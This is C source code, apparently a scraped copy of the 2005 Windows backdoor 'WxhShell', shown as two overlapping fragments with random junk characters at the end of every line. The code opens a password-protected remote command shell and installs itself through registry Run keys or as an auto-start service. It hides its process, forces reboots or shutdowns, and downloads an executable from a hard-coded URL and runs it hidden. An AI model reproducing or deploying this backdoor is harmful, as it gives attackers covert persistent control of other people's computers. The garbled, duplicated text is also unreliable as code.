    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NUZl`fu1Z4  
    else { M{@(G5  
    closesocket(wsh); |=w@H]r  
    ExitThread(0); >%G1"d?j  
    } &&+H+{_Q  
    break; XUYtEf  
    } A<{{iBEI`  
  // 获取shell \<' ?8ri#  
  case 's': { KwS@D9bok  
    CmdShell(wsh); tYS06P^<  
    closesocket(wsh); o4X{L`m  
    ExitThread(0); 2 nCA<&  
    break; vQCy\Gi   
  } NOva'qk  
  // 退出 "[J^YKoF  
  case 'x': { AKC`TA*E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0;k# *#w  
    CloseIt(wsh); q 1,~  
    break; {mg2pfhB!  
    } !a`&O-ye  
  // 离开 Sc0w.5m6  
  case 'q': { HtFDlvdy]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); aOp\91  
    closesocket(wsh); ;TYBx24vD'  
    WSACleanup(); uFE)17E  
    exit(1); )pa]ui\t  
    break; +%'(!A?*`  
        } _/|\aqF.  
  } I,tud!p`  
  } rp$'L7lrX  
;pAK_>  
  // 提示信息 Y]>t[Lo%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c)J%`i$  
} G\i9:7 `  
  }  R&&4y 7  
(=0.inZ  
  return; K1KreYlF  
} gdc<ZYcM  
]M=&+c>H~  
// shell模块句柄 *@5@,=d  
int CmdShell(SOCKET sock) <I?Zk80  
{  ?9/G[[(  
STARTUPINFO si; 0kh6@y3  
ZeroMemory(&si,sizeof(si)); `?]k{ l1R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _>+Ld6.T6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @JMiO^  
PROCESS_INFORMATION ProcessInfo; P:c w|Q  
char cmdline[]="cmd"; @"A4$`Xi3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !L(^(;$Kgr  
  return 0; ';CNGv -  
} )nkY_' BV  
01]f2.5  
// 自身启动模式 >:-$+I  
int StartFromService(void) /uflpV|  
{ 9[4xFE?|  
typedef struct e'~3oqSvR  
{ WWY6ha  
  DWORD ExitStatus; <'u'#E@"sl  
  DWORD PebBaseAddress; ?<!|  
  DWORD AffinityMask; ch]IzdD  
  DWORD BasePriority; Oketwa  
  ULONG UniqueProcessId; Jy)/%p~  
  ULONG InheritedFromUniqueProcessId; 5pX6t  
}   PROCESS_BASIC_INFORMATION; i-1op> Y  
Rcuz(yS8  
PROCNTQSIP NtQueryInformationProcess; dtDFoETz  
_a, s )  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X|dlt{Gf   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4W75T2q#  
VbYdZCC  
  HANDLE             hProcess; c<~H(k'+c  
  PROCESS_BASIC_INFORMATION pbi; ).O)p9  
w0. u\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P \I|,  
  if(NULL == hInst ) return 0; 7V>M]  
mpyt5#f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); '/p4O2b,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %#+Hl0,Tt  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JF]JOI6.e  
4+n\k  
  if (!NtQueryInformationProcess) return 0; @Qe0! (_=  
xdPx{"C 3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~*7]r`6\@  
  if(!hProcess) return 0; 'u658Tj  
crCJrN=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z:O8Ls^\T  
!D6]JPX  
  CloseHandle(hProcess); =4!mAo}  
3`HV(5U[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); AA_%<zK  
if(hProcess==NULL) return 0; x-c"%Z|  
XW9!p.*.U  
HMODULE hMod; M5B# TAybC  
char procName[255]; pAEx#ck  
unsigned long cbNeeded; *hrd5na  
=Qq+4F)MD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ESs\O?nO  
ysN3  
  CloseHandle(hProcess); ,Q B<7a+I  
$>gFf}#C  
if(strstr(procName,"services")) return 1; // 以服务启动 )jj0^f1!j  
^.tg7%dJ  
  return 0; // 注册表启动 0x7'^Z>-oe  
} X]=t>   
C~[,z.FvO  
// 主模块 ex|F|0k4}  
int StartWxhshell(LPSTR lpCmdLine) PH"%kCI:  
{ +p^u^a  
  SOCKET wsl; l%ZhA=TKQ  
BOOL val=TRUE; zT/\Cj68  
  int port=0; l2d{ 73h  
  struct sockaddr_in door; >/\'zi]L  
Y7nvHU|+o  
  if(wscfg.ws_autoins) Install(); |}1dFp  
598i^z{~0%  
port=atoi(lpCmdLine); +"(jjxJm  
CARzO7 b\w  
if(port<=0) port=wscfg.ws_port; u>$t'  
WHI`/FM  
  WSADATA data; 4YHY7J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^.G$Q#y,  
*A< 5*Db:F  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ddo#P%sH'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 23?rEhKe  
  door.sin_family = AF_INET; F/Pep?'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); S$3JMFA  
  door.sin_port = htons(port); fh{`Mz,o  
U&xUfBDt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =EIkD9u  
closesocket(wsl); 8f7>?BUS,  
return 1; <Qq*p  
} -+5>|N#  
xpI wrJO  
  if(listen(wsl,2) == INVALID_SOCKET) { i?gSC<a  
closesocket(wsl); Y~Ifj,\  
return 1; S$k&vc(0  
} RyNs6  
  Wxhshell(wsl); jIF |P-  
  WSACleanup(); e%6QTg5#  
w:l"\Tm  
return 0; 6Iw\c  
6,uX,X5  
} x:7IIvP  
CNIsZ v@Q  
// 以NT服务方式启动 J=L5=G7(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B;WCTMy}  
{ Jl<2>@  
DWORD   status = 0; ap~^Ty<>  
  DWORD   specificError = 0xfffffff; [r-p]"R  
smLQS+UE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >f'g0g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _~pbqa,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "mN q&$  
  serviceStatus.dwWin32ExitCode     = 0; kN>!2UfNS  
  serviceStatus.dwServiceSpecificExitCode = 0; <,(,jU)j  
  serviceStatus.dwCheckPoint       = 0; MfQ!6zE  
  serviceStatus.dwWaitHint       = 0; wAd9  
|)81Lz  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "\=U)CJ  
  if (hServiceStatusHandle==0) return; =2 kG%9  
qFNes)_r  
status = GetLastError(); s@DLt+ O5  
  if (status!=NO_ERROR) 3,=6@U  
{ 03(4 x'z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; wf $s*|z  
    serviceStatus.dwCheckPoint       = 0; G9 :l'\  
    serviceStatus.dwWaitHint       = 0; *4Izy14e  
    serviceStatus.dwWin32ExitCode     = status; >*n0n!vF  
    serviceStatus.dwServiceSpecificExitCode = specificError; [9 RR8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @K]|K]cby  
    return; PT9*)9<L  
  } k'"%.7$U!  
Z<4AL\l 98  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "Pf~iwfw  
  serviceStatus.dwCheckPoint       = 0; JZ#[ 2mLh  
  serviceStatus.dwWaitHint       = 0; +]50DxflA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); RGU\h[  
} S@Hf &hJ  
;'Nd~:-]  
// 处理NT服务事件,比如:启动、停止 g4@ lM"|S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -GgA&dh  
{ /SrAW`;"  
switch(fdwControl) w\brVnt  
{ ym6K !i]q4  
case SERVICE_CONTROL_STOP: 7`YEH2  
  serviceStatus.dwWin32ExitCode = 0; 6x|jPb  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !3v1bGk  
  serviceStatus.dwCheckPoint   = 0; \_U$"/$4VH  
  serviceStatus.dwWaitHint     = 0; U3:j'Su4H?  
  { e*n@j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L~>i,  
  } D1mfm.9_r^  
  return; G/mXq-  
case SERVICE_CONTROL_PAUSE: X~i<g?]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2wgg7[tGi  
  break; vA.MRu#  
case SERVICE_CONTROL_CONTINUE: 9<)NvU^-r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y#$CMf -q^  
  break;  gRT00  
case SERVICE_CONTROL_INTERROGATE: OaZQ7BGq  
  break; t!\tF[9e  
}; F.v{-8GV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;xs"j-r/  
} hDq`Z$_+KX  
@Pzu^  
// 标准应用程序主函数 ED& `_h7?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c:u5\&~{  
{ O s.4)  
2Q"K8=s  
// 获取操作系统版本 qWKAM@  
OsIsNt=GetOsVer(); <kd1Nrr!p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (/*]?Ehd  
d$AWu{y  
  // 从命令行安装 >u8gD6X  
  if(strpbrk(lpCmdLine,"iI")) Install(); (DP &B%Sf  
 {s{j~M  
  // 下载执行文件 fe#\TNeQJ[  
if(wscfg.ws_downexe) { NS6:yX,/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *GN# r11d  
  WinExec(wscfg.ws_filenam,SW_HIDE); !o[7wKrXb  
} Oh\<VvZuN  
=k:,qft2  
if(!OsIsNt) { xLZG:^(I  
// 如果时win9x,隐藏进程并且设置为注册表启动 bB;5s`-  
HideProc(); k/gZ,  
StartWxhshell(lpCmdLine); {LQ#y/H?  
} 0|\$Vp  
else f[^Aw(o  
  if(StartFromService()) 1,!(0 5H  
  // 以服务方式启动 .JiziFJ@mj  
  StartServiceCtrlDispatcher(DispatchTable); ,V:SN~P66+  
else R= o2K  
  // 普通方式启动 M b1s F  
  StartWxhshell(lpCmdLine); cX OK)g#  
B=A [ymm  
return 0; pDCeQ6?  
} TLe~y1dwY=  
ce3YCflt  
^vO+(p  
s1=G;  
=========================================== T+K):u g  
V0XvJ  
-kwXvYu\  
z}ddqZ27G$  
Zt.|oYH$  
Gc;{\VU  
" Rn I&8  
[ )dXIIM  
#include <stdio.h> FXN/Yq  
#include <string.h> 0h\smqm  
#include <windows.h> dl@%`E48w  
#include <winsock2.h> |! E)GahM  
#include <winsvc.h> &&:Y Vd  
#include <urlmon.h> pF Rg?-  
4'A!; ]:  
#pragma comment (lib, "Ws2_32.lib") g($DdKc|g  
#pragma comment (lib, "urlmon.lib") }n2M G  
8tFoN*M  
#define MAX_USER   100 // 最大客户端连接数 ^R Fp8w(  
#define BUF_SOCK   200 // sock buffer (/j/>9iro  
#define KEY_BUFF   255 // 输入 buffer h*$y[}hDuv  
[t@Mn  
#define REBOOT     0   // 重启 YccH+[X;  
#define SHUTDOWN   1   // 关机 O-I[igNl  
v,{yU\)  
#define DEF_PORT   5000 // 监听端口 ft KTnK.  
r^paD2&}  
#define REG_LEN     16   // 注册表键长度 S4Ww5G?.  
#define SVC_LEN     80   // NT服务名长度 8UyMVY  
;he"ph=>  
// 从dll定义API fNt`?pW H  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -pGE]nwDL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a$"Hvrj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ime\f*Fg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZR]25Yy  
X4E%2-m@'  
// wxhshell配置信息 tlqiXh<  
struct WSCFG { D (m j7oB  
  int ws_port;         // 监听端口 YSh+pr  
  char ws_passstr[REG_LEN]; // 口令 E}p&2P+MR  
  int ws_autoins;       // 安装标记, 1=yes 0=no Hx*;jpy(2  
  char ws_regname[REG_LEN]; // 注册表键名 K]0:?h;%Ld  
  char ws_svcname[REG_LEN]; // 服务名 Q[pV!CH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @EpIh&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 dEA6   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x+x40!+\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lfz2~Si5A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V'T ,4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R0vIbFwj  
vbBc}G"w  
}; 0F|AA"mMT  
+W\f(/q0  
// default Wxhshell configuration s6zNV4  
struct WSCFG wscfg={DEF_PORT, $lIz{ySJv  
    "xuhuanlingzhe", tj4VWJK  
    1, V=V:SlS9|  
    "Wxhshell", "zRoU$X  
    "Wxhshell",  }'/`2!lY  
            "WxhShell Service", i Ae<&Ms  
    "Wrsky Windows CmdShell Service", w1#gOwA,$  
    "Please Input Your Password: ", ;u(<h?%e  
  1, SNE#0L' }  
  "http://www.wrsky.com/wxhshell.exe", :Q_<Z@2Y{  
  "Wxhshell.exe"  !@'6)/  
    }; &c%g  
*2Ht &  
// 消息定义模块 Jesjtcy<*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h{p=WWK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cwWodPNm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  {=QiZWu  
char *msg_ws_ext="\n\rExit."; Kt|1&Gk  
char *msg_ws_end="\n\rQuit."; _DNHc*  
char *msg_ws_boot="\n\rReboot..."; Z%Zd2 v  
char *msg_ws_poff="\n\rShutdown..."; a|=x5`h04~  
char *msg_ws_down="\n\rSave to "; 69NQ]{1  
I{ :(z3  
char *msg_ws_err="\n\rErr!"; ,|plWIl~  
char *msg_ws_ok="\n\rOK!"; aj,T)oDbt6  
q^L<X)  
char ExeFile[MAX_PATH]; FMkzrs  
int nUser = 0; .]7Qu;L  
HANDLE handles[MAX_USER]; A\#P*+k0  
int OsIsNt; 5N*Ux4M  
sx51X^d  
SERVICE_STATUS       serviceStatus; 7C2&NyWJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?Wt$6{)  
i?:_:"^x  
// 函数声明 e|D ;OM  
int Install(void); &F5@6nJ`  
int Uninstall(void); Vy,^)]  
int DownloadFile(char *sURL, SOCKET wsh); k{$ ao  
int Boot(int flag); vp crPVA^  
void HideProc(void); Xy &uZ  
int GetOsVer(void); ]t*[%4  
int Wxhshell(SOCKET wsl); e$uiJNS2  
void TalkWithClient(void *cs); tP%{P"g3^  
int CmdShell(SOCKET sock); P#/HTu5q7  
int StartFromService(void); -,{-bi  
int StartWxhshell(LPSTR lpCmdLine); dwv6;x  
m7GR[MR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ee#): -p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A4?+T+#d  
#I3$3^0i#  
// 数据结构和表定义 u@%r  
SERVICE_TABLE_ENTRY DispatchTable[] = [wB9s{CX  
{ w L^%w9q-  
{wscfg.ws_svcname, NTServiceMain}, -tI'3oT1  
{NULL, NULL} p/ >`[I  
}; 0W()lQ   
V@QK  
// 自我安装 d4 (/m_HMu  
int Install(void) _:B1_rz7,  
{ @M8|(N%  
  char svExeFile[MAX_PATH]; T!}[yW  
  HKEY key; a9?y`{%L  
  strcpy(svExeFile,ExeFile); ([V V%ovZ  
5+jf/}t A  
// 如果是win9x系统,修改注册表设为自启动 fn/7wO$!  
if(!OsIsNt) { *I0-O*Xr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 34R!x6W0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5 VA(tzmCt  
  RegCloseKey(key); eV cANP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,*@AX>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LR,7,DH$9'  
  RegCloseKey(key); |J~eLh[d  
  return 0; DK&h eVIoZ  
    } M8b4NF_&  
  } %,*G[#*&  
} sfVf@0g  
else { Q9`QL3LQD  
h`}3h< 8  
// 如果是NT以上系统,安装为系统服务 lRP1&FH0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [!VOw@uz  
if (schSCManager!=0) nB ".'=  
{ {+g[l5CR[  
  SC_HANDLE schService = CreateService -gz0md|Y  
  ( h !(>7/Gi  
  schSCManager, S? 0)1O  
  wscfg.ws_svcname, ~/tKMS6T  
  wscfg.ws_svcdisp, -)y%~Zn  
  SERVICE_ALL_ACCESS, ^5t  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d'9:$!oz  
  SERVICE_AUTO_START, \ U-vI:J_  
  SERVICE_ERROR_NORMAL, B )JM%r  
  svExeFile, 9%iFV N'  
  NULL, 0X(]7b&~R  
  NULL, =BZ?-mIU  
  NULL, vY*\R0/a  
  NULL, wn11\j&  
  NULL Q:|w%L*E  
  ); RX2{g^V7  
  if (schService!=0) y/@iT8$rp  
  { [[)_BmS5r  
  CloseServiceHandle(schService); Ok%}|/ P4  
  CloseServiceHandle(schSCManager); cub <G!K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n`;R pr&  
  strcat(svExeFile,wscfg.ws_svcname); $'[q4wo<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [ev-^[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .%0ne:5  
  RegCloseKey(key); B">yKB:D}t  
  return 0; czBi Dk4  
    } }1%r%TikY  
  } s([Wn)I  
  CloseServiceHandle(schSCManager); px9>:t[P  
} 0D)`2W  
} M>_= "atI  
uiBTnG"  
return 1; 04 y!\  
} 4^!4eyQ^  
&(&  
// 自我卸载 @5}gsC  
int Uninstall(void) g<[rH%\6fg  
{ |tG+iF@4  
  HKEY key; >v0:qN7|  
)XVh&'(r  
if(!OsIsNt) { cINHH !v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Gz dgL"M[  
  RegDeleteValue(key,wscfg.ws_regname); \OHv|8!EI@  
  RegCloseKey(key); vg5NY =O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U7%28#@  
  RegDeleteValue(key,wscfg.ws_regname); > x'bZ]gm  
  RegCloseKey(key); qiNliJ>40E  
  return 0; ;1LG&h,K  
  } AQci,j"  
} !O\X+#j  
} w6EI{  
else { ]A!.9Ko}u  
R[ yL _>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b]`^KTYK  
if (schSCManager!=0) H%Y%fQ ~^  
{ PqhlXqX9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5V|tXsy:  
  if (schService!=0) &`PbO  
  { hh&Js'd  
  if(DeleteService(schService)!=0) { YZ[%uArm  
  CloseServiceHandle(schService); Jn,w)Els  
  CloseServiceHandle(schSCManager); #^\}xn" [  
  return 0; MYTS3(  
  } kukaim>K  
  CloseServiceHandle(schService); @9_)On9hZ  
  } 2k3 z'RLG  
  CloseServiceHandle(schSCManager); &PWf:y{R`  
} 6{^*JC5nj  
} K.h]JD]o  
/'Bdq?!B&  
return 1; 6 ">oo-  
} Y:%"K  
4(iS-8{J  
// 从指定url下载文件 o*)@oU  
int DownloadFile(char *sURL, SOCKET wsh) Y\>\[*.v  
{ Nz @8  
  HRESULT hr; u~)%tL  
char seps[]= "/"; GG>Y/;^  
char *token; w#d} TY  
char *file; Hf.xd.Yw  
char myURL[MAX_PATH]; |QqWVelc  
char myFILE[MAX_PATH]; 9!S^^;PN&  
+cw{aI`a8  
strcpy(myURL,sURL); j%Gbg J  
  token=strtok(myURL,seps); :b,o B==%  
  while(token!=NULL) 7rPLnB]  
  { &X7ttB"#h  
    file=token; }9 FD/  
  token=strtok(NULL,seps); iGyVG41U  
  } :X|AW?*  
\)s3b/oap  
GetCurrentDirectory(MAX_PATH,myFILE); 2:n|x5\H  
strcat(myFILE, "\\"); 3v G  
strcat(myFILE, file); _dY:)%[]  
  send(wsh,myFILE,strlen(myFILE),0); 7~lB}$L  
send(wsh,"...",3,0); kEx8+2s=M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &8juS,b  
  if(hr==S_OK) 3lyQn "  
return 0; |M]sk?"^  
else 7ia "u+Y  
return 1; gnYnL8l`J  
9c:5t'Qt5.  
} @],Z 2  
Bac?'ypm  
// 系统电源模块 _82<| NN:  
int Boot(int flag) IZ|c <#r6  
{ [3GKPX:OA/  
  HANDLE hToken; 57'q;I  
  TOKEN_PRIVILEGES tkp; 1k0^6gE|  
_J +]SNk  
  if(OsIsNt) { {kT#o3,>w6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ZyZl\\8U  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rK*hTjVn  
    tkp.PrivilegeCount = 1; J,MT^B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jg7d7{{SB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sn2r >m3  
if(flag==REBOOT) { cvn-*Sj  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d5N)^\z  
  return 0; |>M-+@g j  
} qT 5Wa O)  
else { :17ee  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "[FCQ  
  return 0; 3AX?B~s  
} pq%t@j(X  
  } m>g}IX&K'  
  else { W^-hMT]uD  
if(flag==REBOOT) { e-&L\M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =]8f"wAh*  
  return 0; "4J?JR  
} DX]z=d)tc  
else { bEBZ!ghU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?*B;514  
  return 0; l6r%nHP@  
} [~zE,!  
} (or =f`  
$Ui]hA-:?y  
return 1; 5%vP~vy_}  
} 8^&fZL',  
}W^V^i)  
// win9x进程隐藏模块 D/+@d:-G  
void HideProc(void) a,en8+r ]  
{ #JX|S'\x  
2b{@]Fp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1\"BvFE*E~  
  if ( hKernel != NULL ) pO-)x:Wg  
  { EBN]>zz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q[T_*X3o  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3|z;K,`Fw  
    FreeLibrary(hKernel); S^_JC  
  } <"j"h=tm}  
d#M?lS>  
return; oW\Q>c7 =  
} X"]mR7k  
FQv02V+&<  
// 获取操作系统版本 o =jX  
int GetOsVer(void) dNS9<8JX  
{ OP\^c  
  OSVERSIONINFO winfo; {d{WMq$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0|f_C3  
  GetVersionEx(&winfo); }K qw\]`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) c qU$gKT  
  return 1; AmrJ_YP/t~  
  else l.Lc]ZpB  
  return 0; <#J<QYF&2  
} b W`)CWd  
E(L^hZMc  
// 客户端句柄模块 Xj(k(>7V  
int Wxhshell(SOCKET wsl) /Wta$!X{-  
{ !*$'fn'bAA  
  SOCKET wsh; hyr5D9d  
  struct sockaddr_in client; jw6ng>9  
  DWORD myID; ZS 7)(j$.  
Hr_x~n=w  
  while(nUser<MAX_USER) &Funao>  
{ Qr xO erp  
  int nSize=sizeof(client); Iclan\q#y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )l/C_WEK  
  if(wsh==INVALID_SOCKET) return 1; pQ6t]DJ4  
]'z ^Kt5S  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); DrYoC7   
if(handles[nUser]==0) 4<!}4   
  closesocket(wsh); d#$i/&gE  
else TQyFF/K  
  nUser++; FnU{C=P  
  } |Z +E(F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); FPM}:c4  
}j5@\c48  
  return 0; [zO(V`S2  
} W(3~F2  
.<|4PG  
// 关闭 socket {:q9:  
void CloseIt(SOCKET wsh) N"Nd$4  
{ >0G}, S  
closesocket(wsh); 0yEyt7 ~@  
nUser--; mZ.6Njb  
ExitThread(0); `J;/=tf09  
} - G2M;]Cn  
97@?QI}  
// 客户端请求句柄 >ww1:Sn  
void TalkWithClient(void *cs) 97=YFK~*  
{ I<o4l[--  
)6S}O* 1  
  SOCKET wsh=(SOCKET)cs; H@bmLq  
  char pwd[SVC_LEN]; OCoRcrAx  
  char cmd[KEY_BUFF]; $/sZYsN~T  
char chr[1]; nJ`a1L{N  
int i,j; */m~m?  
7]+'%Uwu)  
  while (nUser < MAX_USER) { < $/Yw   
e Eb1R}@  
if(wscfg.ws_passstr) { pzp"NKx i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1$!K2=%OXj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,lGwW8$R  
  //ZeroMemory(pwd,KEY_BUFF); [A/+tv  
      i=0; |gxB; GG  
  while(i<SVC_LEN) { D&lXi~Z%.  
r}M4()9L  
  // 设置超时 SCC/ <o  
  fd_set FdRead; .0/Z'.c 8  
  struct timeval TimeOut; =1B&d[3;  
  FD_ZERO(&FdRead); tqk6m# @(  
  FD_SET(wsh,&FdRead); ~Am %%$  
  TimeOut.tv_sec=8; a5+v)F/=  
  TimeOut.tv_usec=0; Ljs(<Gm)-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'F<e)D?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m!>'}z  
Sgk{NM7|k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /9^0YC;Y*  
  pwd=chr[0]; x \{jWR%  
  if(chr[0]==0xd || chr[0]==0xa) { 0-O.*Q^  
  pwd=0; ~a|Q[tiV]  
  break; yodrX&"  
  } 8+b3u05  
  i++; ^]K)V  
    } 1j-i nj`  
jWCC`0 T  
  // 如果是非法用户,关闭 socket g9Qxf%}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 90I3_[Ii  
} Wm/k(R`O<  
"qp_*Y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mTbPz Z4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); spDRQ_qq  
)y Y;%  
while(1) { 0]W/88ut*u  
|pg5m*h  
  ZeroMemory(cmd,KEY_BUFF); +u.L6GcB  
HAdm,  
      // 自动支持客户端 telnet标准   =jHy6)6w  
  j=0; sZ$ ~abX  
  while(j<KEY_BUFF) { eT?LMBn\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K6Ua~N^  
  cmd[j]=chr[0]; 4x >e7Kf  
  if(chr[0]==0xa || chr[0]==0xd) { ~+ur*3X  
  cmd[j]=0; hidweg*7  
  break; ^9E(8DD  
  } <:o><f+  
  j++; Kj5f:{Ur  
    } zvg&o)/[  
`Nr7N#g+u  
  // 下载文件 KfS^sT  
  if(strstr(cmd,"http://")) { iDN,}:<V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6dlPS{H#U  
  if(DownloadFile(cmd,wsh)) Ss}0.5Bq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); OkXOV   
  else &Gl&m@-j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N<WFe5  
  } r8$TT\?~  
  else { +UtK2<^:o  
c i>=45@J  
    switch(cmd[0]) { v8[1E>&vx  
  &B C#u.^!  
